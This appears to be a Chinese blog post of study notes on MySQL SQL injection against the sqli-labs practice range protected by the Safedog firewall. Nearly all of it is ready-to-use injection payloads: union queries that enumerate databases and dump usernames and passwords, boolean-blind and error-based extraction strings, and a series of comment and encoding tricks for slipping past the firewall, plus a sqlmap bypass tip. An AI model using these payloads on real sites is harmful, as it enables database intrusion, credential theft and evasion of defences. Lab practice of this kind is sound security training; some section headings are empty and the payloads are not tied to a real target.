MySQL注入总结

基于sqli注入及绕过学习总结

环境

靶场:sqli-labs
数据库:MySQL
防护:安全狗

Mysql基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
当前数据库:database()
当前用户名称:user() system_user()
数据库版本:version() @@version
数据路径:@@datadir
Mysql可以使用的空白字符:
%09
%0a
%0b
%0c
%0d
%20
%a0
/**/
Mysql可以使用的注释符号:#,--,/*comment*/,/*! MYSQL Special SQL */

在SQL语句的中间,可以自由地加入空格或换行符,例如以下语句是可以被正确执行的。

1

联合查询注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
?id=1

?id=1' #'单引号判断注入存在

?id=1'order+by+5--+ #判断列数

?id=-1'union+select+1,2,3--+ #判断输出位置

?id=-1'union+select+1,database(),3--+ #当前数据库名称
?id=-1'union+select+1,schema(),3--+ #当前数据库名称
?id=-1'+union+select+1,a(),3--+ #报错出库名

?id=-1'union+select+1,user(),3--+ #当前用户名称
?id=-1'union+select+1,system_user(),3--+ #当前用户名称

?id=-1'union+select+1,version(),3--+ #数据库版本
?id=-1'union+select+1,@@version,3--+ #数据库版本

?id=-1'union+select+1,@@datadir,3--+ #数据路径

?id=-1'union+select+1,group_concat(schema_name),3+from+information_schema.schemata--+ #爆出数据库名

?id=-1'union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema='security'--+ #爆出某数据库所有表名

?id=-1'union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name='users'--+ #爆出某表列名

?id=-1'+union+select+1,username,password+from+users+where+id=2--+ #爆出某表的数据

联合查询注入绕过姿势

判断注入
1
2
3
--------------------------------------------------------
?id=1' #单引号不拦截
--------------------------------------------------------
order by绕过
1
2
3
4
5
6
7
--------------------------------------------------------
?id=1'+order+by+1--+ #拦截order by
?id='/*!24410order+By*/+5--+ #绕过fuzz5位数字
?id=1'/*!50000order%23%0aBy*/+5--+ #绕过%23%0a
?id=1'order%23%0aBy+5--+ #绕过%23%0a
?id=1'/*!order+/*!/*/**/by*/4--+ #乱七八糟没看懂绕过 /*!*/ /**/
--------------------------------------------------------
union select绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
--------------------------------------------------------
?id=-1'+div+1+union%23foo*%2F*bar%0D%0Aselect+1,2,3--+ #绕过利用%23%0a
?id=-1'union%23foo*%2F*bar%0D%0Aselect+1,2,3--+ #绕过利用%23%0a
?id=-1'union%23*%2F*bar%0D%0Aselect+1,2,3--+ #绕过利用%23%0a
?id=-1'union%23xxx%0D%0Aselect+1,2,3--+ #绕过利用%23%0a
?id=-1'union%23xxx%23%0aselect+1,2,3--+ #绕过利用%23%0a
?id=-1'union%23xxx%0aselect+1,2,3--+ #绕过利用%23xxx%0a
?id=-1'/*!union*/--+xxx%0Aselect+1,2,3+%23 #绕过利用/*!*/ --+xxx%0A
?id=-1'union--+xxx%0Aselect+1,2,3+%23 #绕过利用--+xxx%0A
?id=-1'union+/*!44000select*/+1,2,3--+ #绕过利用/*!*/内联注释
?id=/*-1'union+select+1,2,3--+*/ #绕过利用/*直接注*/
?id=-1'+union/*!/*/**/*/select/*!/*/**/*/1,2,3--+ #绕过利用/*!/*/**/*/ */
--------------------------------------------------------

union select出数据绕过:
--------------------------------------------------------
?id=-1'union%23xxx%0aselect+1,database%23xxx%0a(),3--+ #database() 绕过%23xxx%0a
?id=-1'/*!union*/--+xxx%0Aselect+1,database--+xxx%0A(),3+%23 #绕过利用/*!*/ --+xxx%0A
?id=-1'union--+xxx%0Aselect+1,database--+xxx%0A(),3+%23 #绕过利用--+xxx%0A
?id=-1'union+/*!44000select*/+1,database--+xxx%0A(),3--+ #绕过利用/*!*/内联注释database()
?id=/*-1'union+select+1,database(),3--+*/ #绕过利用/*直接注*/
?id=-1'+union%23xxx%0aselect+1,database/*!/*/**/*/(),3--+ #绕过利用%23xxx%0,/*!/*/**/*/
?id=-1'+union/*!/*/**/*/select+1,database/*!/*/**/*/(),3--+ #绕过利用/*!/*/**/*/ */

------
?id=-1'union%23xxx%0aselect+1,group_concat(schema_name),3+from%23xxx%0ainformation_schema.schemata--+ #读库名绕过%23xxx%0a

?id=-1'union%23xxx%0aselect+1,group_concat(table_name),3+from%23xxx%0ainformation_schema.tables+where+table_schema='security'--+ #爆出某数据库所有表名 绕过%23%0a

?id=-1'union/*!/*/**/*/select+1,group_concat(table_name),3+from/*!/*/**/*/information_schema.tables+where+table_schema='security'--+ #爆出某数据库所有表名 绕过/*!/*/**/*/

?id=-1'union%23xxx%0aselect+1,group_concat(column_name),3+from%23xxx%0ainformation_schema.columns+where+table_name='users'--+ #爆出某表列名 绕过%23%0a


?id=-1'+union%23xxx%0aselect+1,username,password+from%23xxx%0ausers+where+id=3--+ #爆出某表的数据
--------------------------------------------------------
information_schema禁用绕过
1
2
3
4
5
--------------------------------------------------------
mysql5.7版本之后:
sys.schema_auto_increment_columns #存放了非系统库的表名
sys.schema_table_statistics_with_buffer #另一个存放了非系统库的表名
--------------------------------------------------------

盲注姿势

基于布尔的盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SELECT * FROM users WHERE id='$id' LIMIT 0,1

SELECT * FROM users WHERE id=''and+'1'='2' LIMIT 0,1

?id=1'and+1=1--+ #检测语句
?id=1'and+1=2--+ #检测语句


?id=1'and+left(version(),1)=5--+ #查看版本
?id=1'and+left(version(),6)='5.5.53'--+ #查看版本
?id=1'and+left(database(),1)='s'--+ #查看数据库名

?id=1'and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))=101--+ #ascii查找表名
?id=1?id=1'and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1),1,1))>113--+ #ascii查找第二个表表名

?id=1'+and+1=(select+1+from+information_schema.columns+where+table_name='users'+and+table_name+regexp+'^us[a-z]'+limit+1,1)--+ #regexp查字段名

?id=1'+and+1=(select+1+from+information_schema.columns+where+table_name='users'+and+column_name+regexp+'^username'+limit+0,1)--+ #regexp查字段名
?id=1'+and+ORD(MID((SELECT+IFNULL(CAST(username+AS+CHAR),0x20)FROM+security.users+ORDER+BY+id+LIMIT+0,1),1,1))=68--+ #读数据

基于时间的盲注

报错注入

1
2
?id=1'+union+select+(exp(~(select+*+FROM(SELECT USER())a))),2,3--+  #exp报错注入 mysql 5.5.5~5.5.49
?id=1'+union+select+(!(select+*+from+(select+user())x)+-+~0),2,3--+ # bigint 溢出进行报错注入

其他绕过姿势

FUZZ XFF头绕过(好像假的啊)

1
x-forwarded-for: 157.56.1.1

安全狗 sqlmap 直接注入

添加/***/直接跑:
http://192.168.107.128/sqli/Less-1/?id=1/%2a*%2a/

分块传输